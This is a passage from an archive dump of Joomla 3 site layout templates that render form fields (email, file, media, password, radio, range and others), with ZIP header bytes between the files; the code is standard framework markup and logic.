$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
?>
<div class="combobox input-append">
<input
type="text"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo $attr; ?>
autocomplete="off"
/>
<div class="btn-group">
<button type="button" class="btn
dropdown-toggle">
<span class="caret"></span>
</button>
<ul class="dropdown-menu">
<?php foreach ($options as $option) : ?>
<li><a href="#"><?php echo $option->text;
?></a></li>
<?php endforeach; ?>
</ul>
</div>
</div>
PK">�[�ՖD��form/field/contenthistory.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* ---------------------
*
* @var string $item The item id number
* @var string $link The link text
* @var string $label The label text
*/
extract($displayData);
JHtml::_('behavior.modal', 'button.modal_' . $item);
?>
<button class="btn modal_<?php echo $item; ?>"
title="<?php echo $label; ?>" href="<?php echo
$link; ?>" rel="{handler: 'iframe', size: {x: 800,
y: 500}}">
<span class="icon-archive"
aria-hidden="true"></span><?php echo $label; ?>
</button>
PK">�[:�\��
�
form/field/email.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var array $spellcheck Options available for this field.
* @var string $accept File types that are accepted.
*/
$autocomplete = !$autocomplete ? 'autocomplete="off"' :
'autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == 'autocomplete="on"' ?
'' : $autocomplete;
$attributes = array(
$spellcheck ? '' : 'spellcheck="false"',
!empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
$onchange ? 'onchange="' . $onchange . '"' :
'',
$autocomplete,
$multiple ? 'multiple' : '',
!empty($maxLength) ? 'maxlength="' . $maxLength .
'"' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
$required ? 'required aria-required="true"' :
'',
$autofocus ? 'autofocus' : '',
);
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
?>
<input type="email" name="<?php
echo $name; ?>"<?php
echo !empty($class) ? ' class="validate-email ' . $class .
'"' : ' class="validate-email"'; ?>
id="<?php
echo $id; ?>" value="<?php
echo htmlspecialchars(JStringPunycode::emailToUTF8($value), ENT_COMPAT,
'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?> />
PK">�[�&���form/field/file.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var array $spellcheck Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
$maxSize = JHtml::_('number.bytes',
JUtility::getMaxUploadSize());
?>
<input type="file"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
<?php echo !empty($size) ? ' size="' . $size .
'"' : ''; ?>
<?php echo !empty($accept) ? ' accept="' . $accept .
'"' : ''; ?>
<?php echo !empty($class) ? ' class="' . $class .
'"' : ''; ?>
<?php echo !empty($multiple) ? ' multiple' : '';
?>
<?php echo $disabled ? ' disabled' : ''; ?>
<?php echo $autofocus ? ' autofocus' : ''; ?>
<?php echo !empty($onchange) ? ' onchange="' . $onchange
. '"' : ''; ?>
<?php echo $required ? ' required
aria-required="true"' : ''; ?> /><br>
<?php echo
JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize);
?>
PK">�[7�
� � form/field/hidden.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
*/
// Initialize some field attributes.
$class = !empty($class) ? ' class="' . $class .
'"' : '';
$disabled = $disabled ? ' disabled' : '';
$onchange = $onchange ? ' onchange="' . $onchange .
'"' : '';
?>
<input type="hidden" name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8');
?>"<?php echo $class, $disabled, $onchange; ?> />
PK">�[c%�Fform/field/media.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
*
* @var string $preview The preview image relative path
* @var integer $previewHeight The image preview height
* @var integer $previewWidth The image preview width
* @var string $asset The asset text
* @var string $authorField The label text
* @var string $folder The folder text
* @var string $link The link text
*/
extract($displayData);
// Load the modal behavior script.
JHtml::_('behavior.modal');
// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'media/mediafield-mootools.min.js',
array('version' => 'auto', 'relative'
=> true, 'framework' => true));
// Tooltip for INPUT showing whole image path
$options = array(
'onShow' => 'jMediaRefreshImgpathTip',
);
JHtml::_('behavior.tooltip', '.hasTipImgpath',
$options);
if (!empty($class))
{
$class .= ' hasTipImgpath';
}
else
{
$class = 'hasTipImgpath';
}
$attr = '';
$attr .= ' title="' . htmlspecialchars('<span
id="TipImgpath"></span>', ENT_COMPAT,
'UTF-8') . '"';
// Initialize some field attributes.
$attr .= !empty($class) ? ' class="input-small field-media-input
' . $class . '"' : '
class="input-small"';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
// The text field.
echo '<div class="input-prepend input-append">';
// The Preview.
$showPreview = true;
$showAsTooltip = false;
switch ($preview)
{
case 'no': // Deprecated parameter value
case 'false':
case 'none':
$showPreview = false;
break;
case 'yes': // Deprecated parameter value
case 'true':
case 'show':
break;
case 'tooltip':
default:
$showAsTooltip = true;
$options = array(
'onShow' => 'jMediaRefreshPreviewTip',
);
JHtml::_('behavior.tooltip', '.hasTipPreview',
$options);
break;
}
// Pre fill the contents of the popover
if ($showPreview)
{
if ($value && file_exists(JPATH_ROOT . '/' . $value))
{
$src = JUri::root() . $value;
}
else
{
$src = '';
}
$width = $previewWidth;
$height = $previewHeight;
$style = '';
$style .= ($width > 0) ? 'max-width:' . $width .
'px;' : '';
$style .= ($height > 0) ? 'max-height:' . $height .
'px;' : '';
$imgattr = array(
'id' => $id . '_preview',
'class' => 'media-preview',
'style' => $style,
);
$img = JHtml::_('image', $src,
JText::_('JLIB_FORM_MEDIA_PREVIEW_ALT'), $imgattr);
$previewImg = '<div id="' . $id .
'_preview_img"' . ($src ? '' : '
style="display:none"') . '>' . $img .
'</div>';
$previewImgEmpty = '<div id="' . $id .
'_preview_empty"' . ($src ? '
style="display:none"' : '') . '>'
. JText::_('JLIB_FORM_MEDIA_PREVIEW_EMPTY') .
'</div>';
if ($showAsTooltip)
{
echo '<div class="media-preview add-on">';
$tooltip = $previewImgEmpty . $previewImg;
$options = array(
'title' =>
JText::_('JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE'),
'text' => '<span class="icon-eye"
aria-hidden="true"></span>',
'class' => 'hasTipPreview'
);
echo JHtml::_('tooltip', $tooltip, $options);
echo '</div>';
}
else
{
echo '<div class="media-preview add-on"
style="height:auto">';
echo ' ' . $previewImgEmpty;
echo ' ' . $previewImg;
echo '</div>';
}
}
echo ' <input type="text" name="' . $name .
'" id="' . $id . '" value="'
. htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '"
readonly="readonly"' . $attr . '
data-basepath="'
. JUri::root() . '"/>';
?>
<a class="modal btn" title="<?php echo
JText::_('JLIB_FORM_BUTTON_SELECT'); ?>" href="
<?php echo ($readonly ? ''
: ($link ?:
'index.php?option=com_media&view=images&tmpl=component&asset='
. $asset . '&author='
. $authorField) . '&fieldid=' . $id .
'&folder=' . $folder) . '"'
. ' rel="{handler: \'iframe\', size: {x: 800, y:
500}}"'; ?>>
<?php echo JText::_('JLIB_FORM_BUTTON_SELECT');
?></a><a class="btn hasTooltip" title="<?php
echo JText::_('JLIB_FORM_BUTTON_CLEAR'); ?>"
href="#" onclick="jInsertFieldValue('',
'<?php echo $id; ?>'); return false;">
<span class="icon-remove"
aria-hidden="true"></span></a>
</div>PK">�[F�*��form/field/meter.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $animated Is it animated.
* @var string $active Is it active.
* @var string $min The minimum value.
* @var string $max The maximum value.
* @var string $step The step value.
*/
// Initialize some field attributes.
$class = 'progress ' . $class;
$class .= $animated ? ' progress-striped' : '';
$class .= $active ? ' active' : '';
$class = 'class="' . $class . '"';
$value = (float) $value;
$value = $value < $min ? $min : $value;
$value = $value > $max ? $max : $value;
$data = '';
$data .= 'data-max="' . $max . '"';
$data .= ' data-min="' . $min . '"';
$data .= ' data-step="' . $step . '"';
$data .= ' data-value="' . $value . '"';
$attributes = array(
$class,
!empty($width) ? ' style="width:' . $width .
';"' : '',
$data
);
$value = ((float) ($value - $min) * 100) / ($max - $min);
?>
<div <?php echo implode(' ', $attributes); ?> >
<div class="bar" style="width: <?php
echo (string) $value; ?>%;<?php
echo !empty($color) ? ' background-color:' . $color .
';' : ''; ?>"></div>
</div>
PK">�[��ã/
/
form/field/moduleorder.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var array $spellcheck Options available for this field.
* @var string $accept File types that are accepted.
*/
$attr = '';
// Initialize some field attributes.
$attr .= !empty($class) ? ' class="module-ajax-ordering ' .
$class . '"' :
'class="module-ajax-ordering"';
$attr .= $disabled ? ' disabled' : '';
$attr .= !empty($size) ? ' size="' . $size .
'"' : '';
// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange .
'"' : '';
// Including fallback code for HTML5 non supported browsers.
JHtml::_('behavior.core');
JHtml::_('jquery.framework');
JHtml::_('formbehavior.chosen', 'select', null,
array('disable_search_threshold' => 0));
JHtml::_('script', 'system/moduleorder.js',
array('version' => 'auto', 'relative'
=> true));
?>
<div id="parent_<?php echo $id; ?>" <?php echo $attr;
?> data-url="<?php echo
'index.php?option=com_modules&task=module.orderPosition&'
. $token; ?>" data-element="<?php echo 'parent_'
. $id; ?>" data-ordering="<?php echo $ordering; ?>"
data-position-element="<?php
echo $element; ?>" data-client-id="<?php echo $clientId;
?>" data-module-id="<?php echo $moduleId; ?>"
data-name="<?php echo $name; ?>"></div>
PK">�[��=x�
�
form/field/number.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var array $spellcheck Options available for this field.
* @var string $accept File types that are accepted.
*/
$autocomplete = !$autocomplete ? ' autocomplete="off"'
: ' autocomplete="' . $autocomplete . '"';
$autocomplete = $autocomplete == ' autocomplete="on"' ?
'' : $autocomplete;
$attributes = array(
!empty($class) ? 'class="' . $class . '"' :
'',
!empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
!empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
isset($max) ? 'max="' . $max . '"' :
'',
!empty($step) ? 'step="' . $step . '"' :
'',
isset($min) ? 'min="' . $min . '"' :
'',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? 'autofocus' : ''
);
if (is_numeric($value))
{
$value = (float) $value;
}
else
{
$value = '';
$value = ($required && isset($min)) ? $min : $value;
}
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
?>
<input type="number" name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" value="<?php echo
htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?> />
PK">�[���Yform/field/password.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var boolean $lock Is this field locked.
*/
if ($meter)
{
JHtml::_('script', 'system/passwordstrength.js',
array('version' => 'auto', 'relative'
=> true, 'framework' => true));
// Load script on document load.
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function() {
new Form.PasswordStrength('" . $id . "',
{
threshold: " . $threshold . ",
onUpdate: function(element, strength, threshold) {
element.set('data-passwordstrength', strength);
}
});
});"
);
}
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
if ($lock)
{
// Load script on document load.
JFactory::getDocument()->addScriptDeclaration(
"
jQuery(document).ready(function() {
jQuery('#" . $id ."_lock').on('click',
function() {
var lockButton = jQuery(this);
var passwordInput = jQuery('#" . $id . "');
var lock = lockButton.hasClass('active');
if (lock === true) {
lockButton.html('" . JText::_('JMODIFY', true) .
"');
passwordInput.attr('disabled', true);
passwordInput.val('');
}
else
{
lockButton.html('" . JText::_('JCANCEL', true) .
"');
passwordInput.attr('disabled', false);
}
});
});"
);
$disabled = true;
$hint = str_repeat('*', strlen($value));
$value = '';
}
$attributes = array(
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
!$autocomplete ? 'autocomplete="off"' : '',
!empty($class) ? 'class="' . $class . '"' :
'',
$readonly ? 'readonly' : '',
$disabled ? 'disabled' : '',
!empty($size) ? 'size="' . $size . '"' :
'',
!empty($maxLength) ? 'maxlength="' . $maxLength .
'"' : '',
$required ? 'required aria-required="true"' :
'',
$autofocus ? 'autofocus' : '',
);
?>
<?php if ($lock): ?>
<span class="input-append">
<?php endif; ?>
<input
type="password"
name="<?php echo $name; ?>"
id="<?php echo $id; ?>"
value="<?php echo htmlspecialchars($value, ENT_COMPAT,
'UTF-8'); ?>"
<?php echo implode(' ', $attributes); ?>
/>
<?php if ($lock): ?>
<button type="button" id="<?php echo $id;
?>_lock" class="btn btn-info"
data-toggle="button"><?php echo
JText::_('JMODIFY'); ?></button>
</span>
<?php endif; ?>
PK">�[�I����form/field/radio.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
/**
* The format of the input tag to be filled in using sprintf.
* %1 - id
* %2 - name
* %3 - value
* %4 = any other attributes
*/
$format = '<input type="radio" id="%1$s"
name="%2$s" value="%3$s" %4$s />';
$alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$name);
?>
<fieldset id="<?php echo $id; ?>" class="<?php
echo trim($class . ' radio' . ($readonly || $disabled ? '
disabled' : '') . ($readonly ? ' readonly' :
'')); ?>"
<?php echo $disabled ? 'disabled' : ''; ?>
<?php echo $readonly || $disabled ? 'style="pointer-events:
none"' : '' ?>
<?php echo $required ? 'required
aria-required="true"' : ''; ?>
<?php echo $autofocus ? 'autofocus' : ''; ?>>
<?php if (!empty($options)) : ?>
<?php foreach ($options as $i => $option) : ?>
<?php
// Initialize some option attributes.
$checked = ((string) $option->value === $value) ?
'checked="checked"' : '';
$disabled = !empty($option->disable) ? 'disabled' :
'';
$style = $disabled ? 'style="pointer-events:
none"' : '';
$option->class = !empty($option->class) ? $option->class :
'';
$option->class = trim($option->class . ' ' .
$disabled);
$optionClass = !empty($option->class) ? 'class="'
. $option->class . '"' : '';
// Initialize some JavaScript option attributes.
$onclick = !empty($option->onclick) ? 'onclick="'
. $option->onclick . '"' : '';
$onchange = !empty($option->onchange) ?
'onchange="' . $option->onchange . '"' :
'';
$oid = $id . $i;
$ovalue = htmlspecialchars($option->value, ENT_COMPAT,
'UTF-8');
$attributes = array_filter(array($checked, $optionClass, $disabled,
$style, $onchange, $onclick));
?>
<?php if ($required) : ?>
<?php $attributes[] = 'required
aria-required="true"'; ?>
<?php endif; ?>
<?php echo sprintf($format, $oid, $name, $ovalue, implode('
', $attributes)); ?>
<label for="<?php echo $oid; ?>" <?php echo
trim($optionClass . ' ' . $style); ?>>
<?php echo $option->text; ?>
</label>
<?php endforeach; ?>
<?php endif; ?>
</fieldset>
PK">�[���form/field/range.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
*/
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
// Initialize some field attributes.
$attributes = array(
$class ? 'class="' . $class . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
!empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
!empty($max) ? 'max="' . $max . '"' :
'',
!empty($step) ? 'step="' . $step . '"' :
'',
!empty($min) ? 'min="' . $min . '"' :
'',
$autofocus ? 'autofocus' : '',
);
$value = is_numeric($value) ? (float) $value : $min;
?>
<input type="range" name="<?php
echo $name; ?>" id="<?php
echo $id; ?>" value="<?php
echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>"
<?php
echo implode(' ', $attributes); ?> />
PK">�[ͬp5��form/field/subform/default.phpnu�[���<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
